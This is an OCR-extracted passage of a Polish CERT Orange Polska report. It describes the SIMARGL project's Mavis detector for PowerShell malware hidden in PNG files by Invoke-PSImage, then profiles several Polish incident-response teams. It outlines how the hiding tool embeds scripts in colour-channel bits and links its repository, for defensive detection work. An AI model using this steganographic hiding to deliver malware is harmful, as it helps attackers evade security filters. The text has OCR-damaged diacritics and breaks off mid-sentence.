zdarzenia z aplikacji webowych (Web Events).

Do monitorowania i ochrony krytycznych ustug
webowych wykorzystywane jest narzedzie o nazwie:
Web Application Security natomiast do bezpiecznego
przegladania internetu rozwigzanie Internet Security.
Narzedzia te pozwalajg wykrywac rézne typy
cyberatakéw z wykorzystaniem ztosliwego
oprogramowania oraz phishing i ztosliwe

wiadomosci typu ,,scam”.

zdarzenia z wykorzystaniem plikow (File Events).

Orion Malware do analizy plikdw wykorzystuje

rézne metody: statyczne, dynamiczne, heurystyczne
oraz algorytmy sztucznej inteligencji (Al). Pliki analizowane
sa tez réwnolegle przez pie¢ rozwigzan antywirusowych
w celu rozpoznania znanych wzorcéw wiruséw,

a wbudowany Sandbox pozwala na uruchomienie
podejrzanych ztosliwych plikéw w kontrolowanym
$rodowisku. Do analizy plikéw, ktére na pierwszy rzut oka
wygladajg bezpiecznie, np. plikéw graficznych (w formacie
PNG, BMP, JPG), wykorzystywane sa narzedzia: JPEG
Stego Checker do detekcji i analizy zmian w plikach

z wykorzystaniem réznych algorytméw steganograficznych
oraz narzedzie Mavis, ktére opiszemy szczegdtowo...

Security
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Punch Platform/ML m m
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Framework
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SIMARGL Toolkit zostat wyposazony rowniez w interfejs
graficzny, z ktérego beda mogli korzysta¢ uzytkownicy.

Wykrywanie ztosliwego oprogramowania
ukrytego w plikach graficznych

Wsréd pakietu narzedzi, opracowanych przez projekt
SIMARL, do wykrywania technik steganograficznych
wykorzystywanych w cyberatakach jest Mavis.
Rozwigzania bezpieczenstwa jak IDS/IPS oraz firewalle
nie sprawdzajg doktadnie plikdw graficznych przesytanych
przez sie¢. Mavis pozwala na wykrycie ztosliwych
skryptéw PowerShell wstawionych do grafiki przez
cyberprzestepce przy wykorzystaniu znanego i publicznie
dostepnego narzedzia o nazwie Invoke-PSIimage
(https://github.com/peewpw/Invoke-PSIimage).

Narzedzie to wielokrotnie zostato juz wykorzystane

w kampaniach rozsytajacych ztosliwe oprogramowanie.
Aby przygotowac ztosliwy plik przy pomocy
Invoke-PSImage potrzebne sa:

= niewinnie wygladajacy plik graficzny, do ktérego
ztodliwy skrypt PowerShell ma by¢ wstawiony,

B gotowy ztosliwy skrypt

B Invoke-PSImage, czyli narzedzie, ktére zapewnia
ukrywanie i odczytywanie (odfiltrowywanie) ztosliwych
skryptow z plikéw graficznych.

Podczas tworzenia narzedzia Mavis, do celow rozwoju
i testow opracowany zostat zestaw 45 tys. ztosliwych plikow
PNG. Orange Polska testuje aktualnie to rozwigzanie.

Architektura Mavis w OPL
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Web-Proxy
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= .y
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\

Kiedy uzytkownicy sieci korporacyjnej (wewnetrznej) pracuja
w internecie, linki do plikéw PNG sa wykrywane, a nastepnie
pliki PNG sg pobierane i cyklicznie skanowane przez
narzedzie Mavis. W rozwigzaniu testowym analizowane sa
aktualnie tylko potgczenia HTTP, aby nie narusza¢ poufnosci
komunikacji uzytkownikéw w sieci.

Invoke-PSImage oraz Mavis

Invoke-PSImage byt juz wielokrotnie wykorzystywany przez
cyberprzestepcoéw do ukrywania ztosliwych skryptéw Power-
Shell w niewinnie wygladajgcych obrazach PNG. Przyktadem
moze by¢ kampania przeciwko Zimowym Igrzyskom Olimpi-
jskim Pjongczang 2018 (PyeongChang Olympic Games),
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gdzie w plikach PNG najpierw ukrywany byt

ransomware Greystars, a w kolejnych wariantach Ursnif.
Invoke-PSImage operuje na wartosciach réznych koloréw

w pliku graficznym w zaleznosci od uzytego trybu ukrywania.
W trybie tzw. Mode-1, graficzny plik bazowy nie musi by¢
dostarczony przez uzytkownika — narzedzie wykorzystuje

8 bitow kazdego kanatu koloréw do konwersji/ukrycia
ztosliwego skryptu PowerShell. Wynikowy obraz

utworzony w tym trybie nie wyglada jednak naturalnie

jak to zilustrowano na Rysunku 3.

Rysunek 3. Przyktad obrazu zawierajacego ztosliwy
skrypt przygotowanego w Invoke-PSImage w trybie

W trybie Mode-2, bazowy plik graficzny musi by¢ dostarczony
przez uzytkownika. Narzedzie Invoke-PSImage, do ukrywania
danych wykorzystuje tylko 4 najmniej znaczace bity z dwéch
kanatéw kolorystycznych: niebieskiego i zielonego, aby w jak
najmniejszym stopniu zmieni¢ wyglad bazowego, niewinnie
wygladajgcego pliku graficznego (patrz Rysunek 4).

Rysunek 4. Bazowa grafika bez modyfikaciji (a) oraz po
ukryciu danych z zastosowaniem trybu Mode-2 (b)

Z punktu widzenia mozliwosci wykrywania ukrytych

w plikach graficznych danych, obie metody wykorzystywane
w Invoke-PSImage, pozostawiajg jednak pewne artefakty,
ktére moga by¢ wykorzystane do zbudowania skutecznego
rozwigzania detekgji. Dziatanie narzedzia Mavis wtasnie

na tych spostrzezeniach sie opiera. Do wykrywania trybu
Mode-1 Invoke-PSImage, Mavis wykorzystuje fakt,

ze wartosci koloréw RGB zawsze znajdujg sie w okreslonym
zakresie. Natomiast do wykrywania trybu Mode-2,

Mavis wyszukuje powtarzajgce sie wzorce losowo
dopetnianych wartosci koloréw.
Przyktad dziatania Mavis pokazano na Rysunku 5.

Wynik detekciji ukrytych danych w trybie
Mode-2 przez narzedzie Mavis

4% MINGW64:/c/Users/aschaffhauser/Desktop/Mavis = O X

Dodatkowo Mavis jest w stanie oszacowaé rozmiar
ztosliwego skryptu PowerShell dodanego do pliku
graficznego. Jest to mozliwe na podstawie ustalenia
wielkosci wzorcow losowo dopetnianych wartosci
koloréw w pliku graficznym. Invoke-PSIimage zawsze
wykorzystuje te sama technike ukrywania danych,

co utatwia w konsekwenciji wykrycie i wyciagniecie z pliku
graficznego ztosliwego skryptu PowerShell.

Mavis oferuje dwa tryby pracy dla uzytkownikéw SIMARGL

toolkit. W trybie file-mode, sprawdza on pojedynczy plik.

Ten sposdb moze by¢ wykorzystywany przez uzytkownikoéw,
ktérzy chca sprawdzi¢ czy posiadany przez nich plik graficzny

zawiera ztosliwy dodatek czy nie. W trybie directory-mode,
Mavis sprawdza wszystkie pliki zapisane w okreslonym
folderze. To umozliwia analize wiekszych zestawéw plikow
w sposdb pétautomatyczny.

W Orange Polska codziennie sprawdzanych jest

do kilkudziesieciu tysiecy plikéw graficznych. Mavis zapisuje
wyniki do pliku CSV do dalszych analiz przez ekspertow
cyberbezpieczenstwa.

Samodzielne rozpoczecie testoéw w innych firmach jest

juz mozliwe, gdyz Mavis jest udostepniony w repozytorium
GitHub: https://github.com/s3venup/Mavis.git wraz

ze wszystkimi instrukcjami potrzebnymi do jego instalacji,
uruchomienia i obstugi.

Logotyp projektu SIMARGLI

SIMARGL

Co dalej?

Projekt SIMARGL konczy sie w tym roku, ale Komisja Europejska
przeznaczyta bardzo duze kwoty na finansowanie prac r
ozwojowych w zakresie cyberbezpieczenstwa realizowanych
przez kolejne przedsiewziecia. Doswiadczenia SIMARGL
pokazuja, ze warto kontynuowac prace nad coraz bardziej
efektywnymi metodami wykrywania cyberatakéw, zwtaszcza,
ze atakujacy juz wykorzystuja najnowsze technologie z algo-
rytmami sztucznej inteligencji oraz coraz czesciej siegaja

do stosowania zaawansowanych technik steganograficznych.

Adrian Marzecki

(Cyberbezpieczenstwo Orange Polska ),
Andreas Schaffhauser (FUH),

Wojciech Mazurczyk (FUH),

Marek Pawlicki (ITTI sp. z 0.0.)

Ta praca jest finansowana w ramach projektu SIMARGL
- Secure Intelligent Methods for Advanced RecoGnition
of malware and stegomalware, ze wsparciem Komisji
Europejskiej i Programu Horizon 2020, w ramach
Umowy o Dotacje nr 833042.

Literatura:
W Andreas Schaffhauser, Wojciech Mazurczyk,
Luca Caviglione, Marco Zuppelli,
Julio Hernandez-Castro, Efficient Detection
and Recovery of Malicious PowerShell Scripts
Embedded into Digital Images, Security
and Communication Networks (2022)

m Damian Puchalski, Luca Caviglione, Rafat Kozik,
Adrian Marzecki, Stawomir Krawczyk,
and Michat Choras. 2020. Stegomalware detection
through structural analysis of media files. In Proceedings
of the 15th International Conference on Availability,
Reliability and Security (ARES ‘20).

Association for Computing Machinery, New York,
NY, USA, Article 73, 1-6. DOI:
https://doi.org/10.1145/3407023.3409187

B Luca Caviglione, Michat Choras, Igino Corona,

Artur Janicki, Wojciech Mazurczyk, Marek Pawlicki,
Katarzyna Wasielewska, “Tight Arms Race: Overview
of Current Malware Threats and Trends in Their
Detection,” in IEEE Access, vol. 9, pp. 56371-5396,
2021, doi: 10.1109/ACCESS.2020.3048319.

e | /TNET-2020 Dataset for Network Intrusion Detection:
https://www.sparta.eu/papers/litnet-2020-an-anno-
tated-real-world-network-flow-dataset-for-network-
intrusion.html

Komunikacja projektu SIMARGL:

e strona internetowa: simargl.eu
Instagram: https://www.instagram.com/simargl_eu/
LinkedIn: https://www.linkedin.com/groups/12241333/
Facebook: https://www.facebook.com/simargl.eu/
Twitter: https://twitter.com/simargl8
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Nasi Przyjaciele

Internet wdzwaniany przez numer 0-202122, dzwiek
synchronizacji modemu — lata 90. ubiegtego wieku.
Tak zaczynali$my swojg podréz, takie tez byty poczatki
zespotu zajmujacego sie bezpieczenstwem.

Na poczatku naszym gtéwnym zrédtem informacii

byty zgtoszenia od internautow. Teraz wyspecjalizowane
systemy, czy sztuczna inteligencja, pomagaja nam
przeprocesowac miliony incydentéw miesiecznie!

Za tym poszty gigantyczne zmiany z naszej strony, zarowno
W wyposazeniu, jak i — przede wszystkim — w mentalnosci.
Obecnie mozemy internautom poméc fatwiej i szybciej.

Przystgpienie do FIRST (Forum of Incident Response

and Security Teams) dato nam mozliwo$¢ wspotpracy

z jednostkami z catego $wiata, w tym bezcennego dzielenia
sie wiedza. Cztonkostwo w Trusted Introducer natomiast

to potaczenie jednego i drugiego.

Warto jednak pamietaé o najblizszym otoczeniu w jakim
przyszto nam pracowac, rozwijac sie i tworzy¢ nasza
spotecznos$¢. Podczas gdy my staraliSmy sie zdobywac
wiedze i kompetencje naszego zespotu, cze$¢ miata juz ten
etap za soba, inni z kolei dopiero do niego dojrzewali.

Stad tez pomyst, aby przy okazji 25 rocznicy CERT Orange
Polska zaprosi¢ i przyblizyé Wam inne zespoty, ktérych prace
cenimy, ktére wnosza warto$¢ do naszej spotecznosci

i z ktorymi mamy przyjemnos$¢ wspotpracowac.

Oczywiscie nie jest to wyczerpujgca lista polskich zespotow,
ktéra z roku na rok stale roénie. To jest niezwykle budujgce
w konteks$cie wyzwan zwigzanych z zapewnieniem
bezpieczenstwa, ktére towarzysza nam kazdego dnia.

Jestem przekonany, ze ta wspodtpraca bedzie sie rozwijac,
ze kontakt operacyjny i wymiana informacji, niezbedne

do szybkiej reakcji przy wielu zagrozeniach bedzie sie stale
poszerzat, wzmocniony dodatkowo automatyzacja

w obszarze dzielenia sie wiedzg o powigzanych
incydentach.

Mitej lektury!

Robert Grabowski,
szef CERT Orange Polska
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CERT Polska ma najdtuzszy staz wérdd polskich
zespotéw reagowania na incydenty, a nasza historia

w duzym stopniu odzwierciedla zmiany, jakie zachodzity
w branzy. Nasz zespot powstat w strukturach Naukowej
i Akademickiej Sieci Komputerowej w 1996 roku,

pod nazwg CERT NASK.

Poniewaz sformowali$my pierwszy w Polsce zespot
reagowania, a ponadto NASK byt pionierem Internetu

w naszym kraju, wigczajac w to odpowiedzialnos¢

za rejestr domeny krajowej (.pl.), zaczeliémy propagowac
bezpieczenstwo, namawia¢ do zgtaszania incydentéw

i zajmowac sie wszystkimi zgtoszeniami dotyczgcymi
polskiego internetu, ktére do nas trafity. W ten sposob
stopniowo, wrecz naturalnie, przyjeliSmy role de-facto
CERT-u krajowego, koordynuijac incydenty, ktére

nie mogty by¢ rozwigzane bezposrednio przez inne
podmioty w Polsce lub takie, ktére wymagaty wspotpracy
miedzynarodowej. W 2000 roku zmieniliSmy nasza
nazwe na CERT Polska, ktéra lepiej oddaje zakres
naszych dziatan.

Od poczatku istnienia wspodtpracujemy z innymi zespotami
zajmujgcymi sie bezpieczenstwem: od 1998 roku jestesmy
cztonkiem Forum of Incident Response and Security
Teams, globalnego stowarzyszenia CERT-6w, a od 2000
roku nalezymy do grupy roboczej TF-CSIRT, ktéra zrzesza
zespoty z Europy i sgsiednich regionéw. Oczywiscie
dziatamy wspdlnie z wieloma podmiotami w kraju:

w 2005 roku byli§my inicjatorem powstania Abuse Forum,
nieformalnego forum wspoétpracy zespotdéw bezpieczenstwa
polskich operatoréw telekomunikacyjnych, dostawcéw
ustug i instytucji pafnstwowych. Od 2018 r. petnimy
ustawowa role CSIRTu poziomu krajowego. Scisle kooperujemy
z pozostatymi dwoma CSIRTami: CSIRT GOV oraz CSIRT
MON. Oprécz wspotpracy operacyjnej w kraju i za granica,
chetnie dzielimy sie naszg wiedzg i doswiadczeniami

na konferencjach branzowych (w tym naszej wtasnej,
najstarszej w Polsce konferencji poswieconej tematyce
bezpieczenstwa Internetu — pod nazwg SECURE),
prowadzgc szkolenia i publikujac analizy techniczne,
raporty i poradniki dla uzytkownikow, ktére mozna znalez¢
na https://cert.pl/.

Duzag zmiang dla naszego zespotu byto wprowadzenie ustawy
o krajowym systemie cyberbezpieczenstwa w lipcu 2018,
ktéra implementuje dyrektywe NIS. Ustawa powierzyta NASK
role jednego z trzech CSIRT-6w poziomu krajowego, a tym
samym umocowata nasza role w zakresie reagowania na
incydenty na poziomie kraju od strony prawnej. CERT Polska
nieprzerwanie funkcjonuje jako dziat w strukturach NASK,
natomiast teraz juz nie tylko operacyjnie, ale takze formalnie
realizujemy zadania operacyjne CSIRT-u krajowego. Odpowi-
adamy za incydenty z obszaru, ktéry w uproszczeniu mozna
nazwac “cywilnym” internetem, czyli uzytkownikéw indywidu-

35000
30 000
25000
20 000
15 000
10 000
5000

alnych, istotnych firm z sektoréw (operatorzy

ustug kluczowych) oraz podmiotéw publicznych.

O ile ustawa doprecyzowuje stawiane nam obowigzki,
nasza podstawowa misja pozostaje bez zmian: ochrona
polskich uzytkownikdw internetu przed zagrozeniami.

Zmiany w roli zespotu oraz w skali zagrozen z ktorymi
walczymy znajdujg odzwierciedlenie w duzej dynamice
przyrostu obstugiwanych incydentéw — statystyke widaé
na ponizszym wykresie. W ostatnich latach najwiecej
incydentéw dotyczy phishingu oraz préb kradziezy
$rodkdw finansowych z jego wykorzystaniem.

Liczba incydentéw obstuzona rocznie
przez CERT Polska: 2000-2021
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Z punktu widzenia zapobiegania atakom, duzym sukcesem
okazato sie uruchomienie na poczatku pandemii listy
ostrzezen przed niebezpiecznymi stronami. Trafiajg na nia
wszystkie zidentyfikowane przez nas domeny zwigzane

z phishingiem i oszustwami, a dzieki porozumieniu z wieloma
operatorami w Polsce (w tym Orange) udaje sie je blokowaé
dla bardzo duzej czesci uzytkownikow internetu. Nieustannie
wspieramy administratoréw a takze zespoty bezpieczenstwa
w dostarczaniu obserwaciji a takze zdarzen dotyczacych ich
przestrzeni adresowej. Koronnym przyktadem otwartosci
naszej pracy i systemow jest platforma n6, dostepna

dla wszystkich, gdzie dostarczany jest feed danych

pochodzacy z analiz CERT Polska jak i od naszych partneréw.

Systematycznie staramy sie takze wzmacnia¢ nasze kanaty
dotarcia w mediach spotecznosciowych. Obserwujemy,

ze ten format niezmiennie cieszy sie duzym zainteresowaniem
wsrdd internautow.

Oprécz dziatan operacyjnych, mocno angazujemy

sie w prace badawczo-rozwojowe — to jedna z zalet
funkcjonowania w ramach instytutu badawczego. Autorskie
systemy do wczesnego ostrzegania (ARAKIS), wykrywania
atakéw na klientow bankowosci elektronicznej (BotSense),
czy automatycznej analizy szkodliwego oprogramowania
(Drakvuf Sandbox) to tylko przyktady projektéw, ktore zostaty
zainicjowane przez naszych specjalistow. Obecnie wiekszosé
naszych narzedzi staramy sie publikowac na otwartych
licencjach, wiec warto przejrze¢ zawarto$¢ naszego
GitHuba: https://github.com/CERT-Polska.

ComCERT.pl
cD

COMCERT

Druga potowa lat 90-tych XX wieku. Skanowanie

11 tysiecy polskich adreséw IP w sieciach kilkuset
podmiotéw. Wtedy nadzwyczajne wydarzenie, dzisiaj
codziennos$¢, przez wiekszos¢ traktowana jako ,,szum
sieciowy”. Jednak ¢wier¢ wieku temu, kiedy pierwsze
kroki stawiat pierwszy polski zespét CERT, powstaty

w NASK, to byt atak typu ,,game changer”, pozwalajacy
na natychmiastowe zbudowanie kontaktéw operacyjnych
z wieloma o$rodkami zarzgdzajgcymi sieciami.

Od tego czasu wszystko sie zmienito. Skanowanie

nie jest postrzegane jako szczegdélny problem.
Prawdziwe problemy sprawiaja nowe klasy atakéw,
czasami wracajace z nowa intensywnoscia.

Poczatek XXI wieku to robaki internetowe Nimda,

Code Red i Slammer. To byt czas uswiadomienia
mozliwosci globalnego oddziatywania atakéw sieciowych
oraz ich realnych, a nie wirtualnych, konsekwencji.

Jeszcze wezesniej robaki rozchodzace sie poczta
elektroniczng, takie jak ILOVEYOU, a w pdzniejszym
czasie Storm Worm, uzmystowity jak niebezpieczny jest
potencjat przestepczego wykorzystania protokotu SMTP.
Koncéwka pierwszej dekady XXI wieku to czas budowy
olbrzymich struktur botnet-owych, ktére w kolejnych latach
byty infrastrukturalnym fundamentem dziatalnosci
zorganizowanych grup przestepczych, z bardzo
wyspecjalizowanymi tancuchami dostaw, od deweloperéw
oprogramowania po stupy wybierajace skradzione
pienigdze z bankomatéw lub placéwek firm transferujacych
gotéwke. Szczegotéw na ten temat moze dostarczyé
chociazby historia trojana Zeus.

2007 i 2008 rok to cezura witgczenia dziatan

w cyberprzestrzeni w arsenat oddziatywan
miedzynarodowych. Wykorzystanie cyberatakow

w konflikcie dyplomatycznym rosyjsko-estorskim

i w czasie wojny rosyjsko-gruzifskiej, na zawsze wpisaty
te ,bron” w opis dziatan poszczegdinych panstw.
Ustalenie cyberprzestrzeni kolejng domeng dziatan
wojskowych, na szczycie NATO w 2015 r. w Warszawie,
przytozyto formalny stempel na tej ,,decyzji”.

Patrzac na techniczne aspekty najwiekszych zagrozen
sieciowych, co jakis$ czas pojawiajg sie nowe wektory

i typy atakoéw, ale nastepujg tez powroty do tych
sprawdzonych, takich chociazby jak ataki DDoS, ktére

w latach 2012-2013 sprawit powazne problemy
amerykanskim bankom. Wszystkie one stanowig podstawe
lub sktadowag dziatania wszystkich rodzajow podmiotéw
atakujacych w sieci — cyberprzestepcow, haktywistéw,

czy tzw. aktoréow panstwowych, gtéwnie pochodzacych

z wojska lub stuzb specjalnych.
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Najwazniejszg obserwacjg z ostatniego ¢wieréwiecza

historii cyberatakéw jest ta, ktéra mowi o stale wzrastajgcym
zagrozeniu. Zaawansowane ataki APT podmiotéw
dysponujgcych niemalze nieograniczonym budzetem,
katastroficzne dla niektérych podmiotéw skutki niektorych
atakow, takich na przyktad jak NotPetya w 2017 dla takiego
gigant jak firma Maersk, masowe infekcje ransomware, widmo
destrukcyjnego uzycia praktycznie niezabezpieczonych
urzadzen internetu rzeczy (IoT) czy atakow dedykowanych
na infrastrukture krytyczng, nie pozostawia ztudzen,

ze cyberbezpieczenstwo powinno by¢ na agendzie kazdego
spotkania rzgdzacych od matych firm do posiedzen rzadow.

ComCERT powstat 10 lat temu. Oczami swoich
pracownikow obserwowalismy cata powyzszg historie.
Catg te wiedze staramy sie przekuwac w jak najbardziej
praktyczne sposoby wsparcia naszych partneréw.
Dzisiaj nie chodzi o teoretyczng dyskusje co jest bardziej
niebezpieczne, chodzi o dostarczenie urzadzenia

do zabezpieczenia i monitorowania sieci, jego poprawng
konfiguracje, uwzgledniajaca specyficzne dla danej
organizacji zagrozenia, chodzi o wsparcie w sytuaciji
naruszenia bezpieczenstwa organizacji i napisania
procedury, ktéra nie bedzie zbierata kurzu na poice.

CSIRT KNF

\ (e SIRT

1 lipca 2020 r. powstat Zespdt Reagowania na Incydenty
Bezpieczenstwa Komputerowego polskiego sektora
finansowego (CSIRT KNF). Jego gtéwnym zadaniem
jest wsparcie obstugi incydentéw bezpieczenstwa

w podmiotach rynku finansowego, ktére sa Operatorami
Ustug Kluczowych (OUK).

Do stworzenia zespotu podeszliSmy etapowo, stopniowo
budujgc i rozwijajac wiedze, kompetencje i mechanizmy
pozwalajace na sprawne reagowanie na cyberzagrozenia.
Stale sie rozwijamy i zwiekszamy mozliwosci operacyjne
Zespotu zatrudniajgc zaréwno doswiadczonych specjalistow,
jak i osoby rozpoczynajace swojg kariere zawodowa.

W procesie rekrutacji zwracamy przede wszystkim uwage

na pasje i zaangazowanie.

Dziatania Zespotu skupiaja sie na wspieraniu podmiotéw
rynku finansowego w wykrywaniu cyberzagrozen

i przeciwdziataniu im. W ramach realizowanych zadan
CSIRT KNF wspiera podmioty w identyfikacji potencjalnych
zagrozen, prowadzi analizy ztosliwego oprogramowania,
opracowuje rekomendacje i ostrzezenia oraz monitoruje
dziatania cyberprzestepcow nastawionych na kradziez
Srodkéw finansowych klientow bankowosci elektronicznej.
W obszarze wykrywania niebezpiecznych stron internetowych
w 2021 r. zostato zidentyfikowanych i zgtoszonych do listy
ostrzezen, prowadzonej przez CERT Polska, az 11 468 domen.
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Jednym z priorytetéw Zespotu CSIRT KNF jest takze
edukacja klientéw i budowanie ich Swiadomosci w obszarze
cyberzagrozen. Idei tej przy$wieca motto ,Swiadomy klient
to bezpieczny klient”. Zabezpieczenia techniczne

sg wazne, ale z naszych obserwac;ji dziatan
cyberprzestepcoéw wynika, ze gtbwnym narzedziem

ich dziafania jest socjotechnika i manipulacja. To edukacja

i state podnoszenie wiedzy majg najwiekszg szanse

na poprawe bezpieczenstwa srodkéw finansowych
klientéw. Cel ten realizowany jest przez prowadzenie
webinaridw, szkolen stacjonarnych, regularne publikacje
materiatéw edukacyjnych, jak i szereg innych aktywnosci,
zapewniajgcych dotarcie do jak najszerszego grona
odbiorcédw. Dzieki temu mozliwe jest przekazanie wiedzy
niezbednej do $wiadomego i bezpiecznego funkcjonowania
w cyfrowym $wiecie finanséw. Na stronie internetowe;j
Zespotu regularnie publikowane sa artykuty analizujgce
najpopularniejsze metody internetowych oszustw

wraz ze wskazdwkami, jak sie przed nimi chronié.

Aktywnos$é Zespotu widoczna jest takze w mediach
spotecznosciowych, na takich kanatach jak Twitter,
LinkedIn oraz Facebook. Specyfika tych kanatow
pozwala na biezaca, sprawng i szybka komunikacje,
ktérej podstawa sa krotkie ostrzezenia, dotyczace
zidentyfikowanych przez Zespét aktualnych zagrozen.
To cenne Zrédto informaciji, czesto wykorzystywane
jest przez inne media o zasiegu ogdlnopolskim

- zaréwno te internetowe jak i tradycyjne.

CSIRT KNF wspotpracuje z zespotami CSIRT poziomu
krajowego, jak réwniez z innymi zespotami sektora publicznego
i prywatnego, zajmujacymi sie cyberbezpieczenstwem.
Praktyka i codzienna wspotpraca, budowanie relacii,
skracanie $ciezek komunikacji, wymiana wiedzy, doswiadczen
i informaciji o cyberzagrozeniach jest podstawa do tworzenia
wspodlnego bezpieczenstwa. Obecnie w kregu
zainteresowania Zespotu znajduja sie gtéwnie Operatorzy
Ustug Kluczowych. Dziatajgc jednak w strukturze organu
nadzoru nad rynkiem finansowym, docelowo planowane
jest wsparcie przez Zespdt wszystkich sektoréw
podmiotéw rynku finansowego tj. bankowego,
ubezpieczeniowego i kapitatowego. Taki model
funkcjonowania zapewni rowniez efektywna wymiane
wiedzy i przeptyw informacji pomiedzy tymi sektorami.

To spore wyzwanie, majgc na uwadze zaréwno stopien
skomplikowania samego rynku finansowego, jaki

i liczbe podmiotow, ktdrych obecnie jest ponad 1000.

Media spotecznosciowe CSIRT-KNF:
https://www.facebook.com/CSIRT-KNF-109673327865601
https://www.linkedin.com/company/csirt-knf/
https://twitter.com/CSIRT _KNF

CERT Allegro
allegro

CERT Allegro to interdyscyplinarny zespét powotany

w celu podnoszenia poziomu bezpieczenstwa w Allegro
oraz budowania $wiadomosci o bezpieczenstwie wsréd
pracownikéw i uzytkownikéw. Jego skiad tworza cztonkowie
nastepujacych zespotéw: Information Security Team,
Computer Security Incident Response Team, Cyber Defense
& Offense Team, Anti-fraud Operations Team, Cooperation
with Law Enforcement Authorities Team. Do naszych
obszaréw dziatania naleza:

B monitoring oraz analiza zagrozen
dla bezpieczenstwa Allegro,

B reagowanie na zagrozenia cyberbezpieczenstwa,

B wymiana informacji, wiedzy i doswiadczen
o cyberzagrozeniach z zewnetrznymi
zespotami CERT,

B budowanie swiadomosci bezpieczenstwa wsérod
pracownikéw i uzytkownikow, podejmowanie
inicjatyw podnoszacych bezpieczenstwo w Allegro.

Cele i zadania CERT-u ustalane sg wspdlnie przez jego
cztonkdw i realizowane w ramach operacyjnych dziatan
ich macierzystych zespotéw, zgodnie z ich kompetencjami
w strukturze organizacyjnej Allegro. W tej formule CERT
Allegro funkcjonuje od ponad roku.

Powotanie zespotu wigzato sie z wieloma wyzwaniami:
brak przekonania co do potrzeby powotania kolejnego
zespotu bezpieczenstwa w strukturze, brak czasu

na realizacje dodatkowych zadan wykraczajgcych

poza cele macierzystego zespotu, obawa czy cztonkowie
zespotu podotajg z nowymi obowigzkami. Podejmowalismy
proby w réznych formutach, wyciagajac wnioski z kazdej
z nich zanim znalezli§my tg, ktéra najlepiej odpowiada
potrzebom naszej dynamicznej organizacji. Mysle,

ze zwinno$¢ formuty w ktérej funkcjonujemy obecnie
oraz elastyczne dobieranie priorytetow w ramach catego
zespotu to gtéwne czynniki naszego sukcesu.

W ciggu ostatniego roku udato sie nam nawigza¢ wspotprace
z wieloma zespotami zewnetrznymi CERT i CSiRT, z ktorymi
wymieniamy sie informacjami oraz doswiadczeniem.
Wspdlnie podejmujemy walke z cyberzagrozeniami, takimi
jak credential stuffing i phishing.

Dzieki funkcjonowaniu CERT Allegro sprawniej obstugujemy
incydenty bezpieczenstwa oraz podejmujemy szereg dziatan

prewencyjnych i zapobiegawczych, aby minimalizowac ich liczbe.

Wszystkich zainteresowanych odsytamy na nasza
strone https://allegro.pl/cert lub bezposrednio
do kontaktu z nami: cert@allegro.pl

CERT BIK

M | CERTEF

Bank Polski

Zespot CERT funkcjonuje w Grupie BIK, ktérg stanowig
Biuro Informacji Kredytowej S.A. oraz Biuro Informaciji
Gospodarczej InfoMonitor S.A. od roku 2017. Jako pierwszy
zespdt pozabankowy dziatajgcy w sektorze finansowym,
uzyskalismy status ,listed” w Trusted Introducet,

a od 2020 roku jest akredytowanym cztonkiem tej
spotecznosci zrzeszajgce] europejskie zespoty CERT/CSIRT.

Od poczatku istnienia misja naszego zespotu CERT

jest dbanie o bezpieczenstwo danych przetwarzanych

w Grupie BIK, a wiec identyfikacja zagrozen i zapobieganiem
im, prewencja oraz sprawne zarzgadzanie incydentami
bezpieczenstwa teleinformatycznego. Dlatego dziatamy
operacyjnie i prewencyjnie. Dziatalno$¢ operacyjna

to przede wszystkim $cista wspotpraca z zespotem SOC
funkcjonujacym w modelu 24/7 oraz innymi zespotami
CEST/CSIRT. Jako Zespdt CERT nadzorujemy proces
rozwoju systemdéw monitoringu bezpieczenstwa.
Dziatalno$¢ prewencyjna to przede wszystkim edukacja
pracownikéw poprzez wewnetrzne kampanie informacyjne
i dedykowane szkolenia, cykliczne spotkania dla kadry
managerskiej oraz wsparcie merytoryczne dla komérek
organizacyjnych Grupy BIK. Ponadto nasz Zespot

CERT monitoruje proces zarzgdzania podatnosciami

i planami ciggtos$ci dziatania. Bierzemy udziat

w okreslaniu warunkéw bezpiecznej wspotpracy

w relacjach z partnerami biznesowymi.

W celu skutecznej realizacji powierzonej nam misji,
zespot CERT spotyka sie cyklicznie w ramach CERT
TECH, gdzie omawiane sg biezgce wyzwania z ob-
szaru bezpieczenstwa IT. Codzienna praca operacyjna
to gtdéwnie wspomaganie SOC w blokowaniu kampanii
spam, phishing oraz analiza innych zdarzen.

W obcej sytuacji, zwigzanej z konfliktem w Ukrainie,
obserwujemy wzmozong ilos¢ atakéw na sektor finansowy
w Polsce, mamy dlatego duzo wiecej pracy operacyjne;j.
Reagujemy na wprowadzane stopnie alarmowe CRP,
testujemy i doskonalimy nasze procedury reagowania.
Wspdlnie z innymi zespotami CERT/CSIRT sektora
finansowego codziennie analizujemy dynamicznie
zmieniajaca sie sytuacje zwigzang z obserwowanymi
atakami. Dziatamy w spotecznosci CERT/CSIRT, aby
zapewni¢ bezpieczenstwo powierzonych nam danych.
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CERT PKO
Banku Polskiego

CERT PKO Banku Polskiego czuwa nad zapewnieniem
bezpieczenstwa ustug $wiadczonych przez bank. Jednym
z naszych podstawowych zadan jest monitorowanie

i analizowanie zagrozen dla bezpieczenstwa systemow
teleinformatycznych banku oraz reagowanie na wykryte
zagrozenia i koordynowanie incydentéw. Monitorujemy
takze bezpieczenstwo systeméw bankowosci internetowe;j
iPKO, iPKO biznes, Inteligo oraz systemow bankowosci
mobilnej IKO.

W 2015 roku uzyskaliSmy prawo do uzywania zastrzezonej
nazwy CERT® (Computer Emergency Response Team)

i dziatamy jako CERT PKO Bank Polski - specjalistyczna
jednostka w strukturach PKO Banku Polskiego odpowiedzialna
za cyberbezpieczenstwo. Z poziomu kilkunastu specjalistéw
ewoluowaliémy do Departamentu Cyberbezpieczenstwa
kilkukrotnie zwiekszajgc zasoby osobowe. Dostepni jestesmy
i dziatamy w trybie 24/7/365. CERT PKO BP uzyskat
najwyzszy stopnien certyfikacji w Trusted Introducer,
inicjatywie dziatajgcej przy najwiekszej w Europie organi-
zacji zrzeszajgcej zespoty reagowania na zagrozenia w sieci,
TERENA TF-CSIRT. Jest to efektem kilkunastomiesiecznego
procesu certyfikacji. Wykazat on, ze PKO Bank Polski spetnit
wymagania metodyki SIM3 i uzyskat wymagany, wysoki
poziom w kazdym z obszaréw. Ponadto jesteSmy cztonkiem
miedzynarodowego forum zrzeszajacego zespoty reagujace
na incydenty bezpieczenstwa FIRST (Forum of Incident
Response and Security Teams). Pozycja ta jest w duzej
mierze zastuga bardzo konsekwentnej i dtugoletniej pracy
wykonywanej na co dzier przez PKO Bank Polski, ktory

z wysokim priorytetem traktuje wyzwania dotyczace
